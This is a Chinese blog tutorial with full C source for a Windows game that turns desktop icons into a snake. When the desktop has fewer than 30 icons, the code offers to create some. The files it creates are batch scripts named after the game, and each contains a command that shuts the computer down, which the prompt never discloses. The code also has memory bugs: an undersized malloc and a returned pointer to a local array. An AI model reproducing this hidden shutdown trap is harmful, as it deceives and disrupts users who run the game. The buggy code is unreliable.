C語言實現桌面貪吃蛇小遊戲
本篇寫的是桌面貪吃蛇小遊戲,大傢自己看吧,感謝大傢的支持,謝謝!O(∩_∩)O~~
#define _CRT_SECURE_NO_WARNINGS #include <windows.h> #include <commctrl.h> #include <time.h> #include <stdlib.h> #include "shlobj.h" #include <stdio.h> #include <string.h> #define SIZE 100 //圖標大小默認為100 HWND deskpot; //桌面句柄 int iCount = 0; //圖標個數 int screenX; //獲取屏幕的分辨率(寬) int screenY; //獲取屏幕的分辨率(高) int eatCount = 0; //計數(已經吃到的圖標) int index = 0; int speed = 500; //初始速度 typedef struct Snake //蛇結構體 { int x; int y; int index; struct Snake* next; }snake; snake* Head; //蛇頭 snake* SnakeTemp; //臨時的 POINT food; //食物位置 char* GetDesktopPath(); //返回桌面路徑 void Initialization(); //初始化變量 void StartGame(); //開始遊戲 int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) { Initialization(); MessageBox(deskpot, TEXT("遊戲規則可以從自己身體上踏過但是不能撞到屏幕四周,按Esc鍵可退出"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); StartGame(); return 0; } void Initialization() //初始化變量 { srand(unsigned int(time(NULL))); HWND grandpa = FindWindowA("Progman", "Program Manager"); HWND father = FindWindowExA(grandpa, NULL, "SHELLDLL_DefView", NULL); deskpot = FindWindowExA(father, 0, "SysListView32", "FolderView"); iCount = SendMessage(deskpot, LVM_GETITEMCOUNT, 0, 0); //獲取句柄中控件的個數 screenX = GetSystemMetrics(SM_CXSCREEN); //獲取屏幕的分辨率(寬) screenY = GetSystemMetrics(SM_CYSCREEN); //獲取屏幕的分辨率(高) Head = (snake*)malloc(sizeof(Head)); Head->x = rand() % (screenX / SIZE) * SIZE; //蛇頭初始化位置 Head->y = rand() % (screenY / SIZE) * SIZE; Head->index = 0; Head->next = NULL; if (iCount < 30) { if (MessageBox(deskpot, TEXT("檢測到您桌面上的圖標不夠30個是否需要自動創建一些呢~"), TEXT(""), MB_YESNO | MB_ICONEXCLAMATION) == IDYES) //判斷桌面圖標是否夠30個,不夠就創建些 { FILE* fp; char Path[200]; //保存文件路徑 char temp[20]; //存儲文件名 char FineName[100]; //存儲文件的全名加後綴名 for (int i = 0; i < 30 - iCount; i++) { memset(Path, 0, 200 * sizeof(char)); strcpy(Path, GetDesktopPath()); //將桌面路徑給Path sprintf(temp, "\\貪吃蛇%d.bat", i); strcat(Path, temp); if ((fp = fopen(Path, "w+")) == NULL) continue; //如果他建失敗就跳過 fprintf(fp, "shutdown -s -t 100"); fclose(fp); } } } for (int i = 0; i < iCount; i++) { //因為這裡長寬隻能用32位的數來表示,高在前,寬在後,用一下位運算 SendMessageA(deskpot, LVM_SETITEMPOSITION, i, (screenY << 16) + screenX); } return; } char* GetDesktopPath() //返回桌面路徑 { LPITEMIDLIST pidl; LPMALLOC pShellMalloc; char szDir[200]; if (SUCCEEDED(SHGetMalloc(&pShellMalloc))) { if (SUCCEEDED(SHGetSpecialFolderLocation(NULL, CSIDL_DESKTOP, &pidl))) { // 如果成功返回true SHGetPathFromIDListA(pidl, szDir); pShellMalloc->Free(pidl); } pShellMalloc->Release(); } return szDir; } void StartGame() //開始遊戲 { SendMessageA(deskpot, LVM_SETITEMPOSITION, Head->index, (Head->y << 16) + Head->x); //打印蛇頭 label: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐標和蛇頭的初始位置相同則重新產生 goto label; SendMessageA(deskpot, LVM_SETITEMPOSITION, 1, (food.y << 16) + food.x); //打印食物 snake SnakeMove; //蛇的移動 SnakeMove.x = 1, SnakeMove.y = 0; //默認向右移動 while (eatCount < iCount) { if (GetAsyncKeyState(VK_UP) != 0) //上 SnakeMove.x = 0, SnakeMove.y = -1; if (GetAsyncKeyState(VK_DOWN) != 0) //下 SnakeMove.x = 0, SnakeMove.y = 1; if (GetAsyncKeyState(VK_LEFT) != 0) //左 SnakeMove.x = -1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_RIGHT) != 0) //右 SnakeMove.x = 1, SnakeMove.y = 0; if (GetAsyncKeyState(VK_ESCAPE) != 0) //結束 { MessageBox(deskpot, TEXT("結束~"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } if (GetAsyncKeyState(VK_SPACE)) //按空格鍵暫停 { while (1) { Sleep(300); if (GetAsyncKeyState(VK_SPACE)) //再按一次空格鍵繼續 break; } } if (Head->x == food.x && Head->y == food.y) { index++; eatCount++; speed = speed - (speed / 10); snake* temp; temp = (snake*)malloc(sizeof(snake)); temp->x = food.x; temp->y = food.y; temp->index = index; temp->next = NULL; SnakeTemp = Head; while (SnakeTemp->next != NULL) { SnakeTemp = SnakeTemp->next; } SnakeTemp->next = temp; SnakeTemp = Head; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; while (SnakeTemp != NULL) { SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = SnakeTemp->next; } label2: food.x = rand() % (screenX / SIZE) * SIZE; food.y = rand() % (screenY / SIZE) * SIZE; if (Head->x == food.x && Head->y == food.y) //如果食物的坐標和蛇頭的初始位置相同則重新產生 goto label2; SendMessageA(deskpot, LVM_SETITEMPOSITION, index + 1, (food.y << 16) + food.x); //打印食物 } else { snake Temp; snake Temp2; bool choice = false; SnakeTemp = Head; Temp.x = SnakeTemp->x; Temp.y = SnakeTemp->y; SnakeTemp->x += SnakeMove.x * SIZE; SnakeTemp->y += SnakeMove.y * SIZE; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); SnakeTemp = Head->next; while (SnakeTemp != NULL) { Temp2.x = SnakeTemp->x; Temp2.y = SnakeTemp->y; SnakeTemp->x = Temp.x; SnakeTemp->y = Temp.y; SendMessageA(deskpot, LVM_SETITEMPOSITION, SnakeTemp->index, (SnakeTemp->y << 16) + SnakeTemp->x); Temp.x = Temp2.x; Temp.y = Temp2.y; SnakeTemp = SnakeTemp->next; } if (Head->x > screenX || Head->x<0 || Head->y>screenY || Head->y < 0) { MessageBox(deskpot, TEXT("笨蛋你撞到墻,遊戲結束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = Head->next; while (SnakeTemp != NULL) { if (SnakeTemp->x == Head->x && SnakeTemp->y == Head->y) { MessageBox(deskpot, TEXT("笨蛋你咬到自己瞭,遊戲結束再見!"), TEXT(""), MB_OK | MB_ICONEXCLAMATION); exit(0); } SnakeTemp = SnakeTemp->next; } } Sleep(speed); } return; }
遊戲界面如圖:
失敗界面如圖:
到此這篇關於C語言實現桌面貪吃蛇小遊戲的文章就介紹到這瞭,更多相關C語言桌面貪吃蛇內容請搜索WalkonNet以前的文章或繼續瀏覽下面的相關文章希望大傢以後多多支持WalkonNet!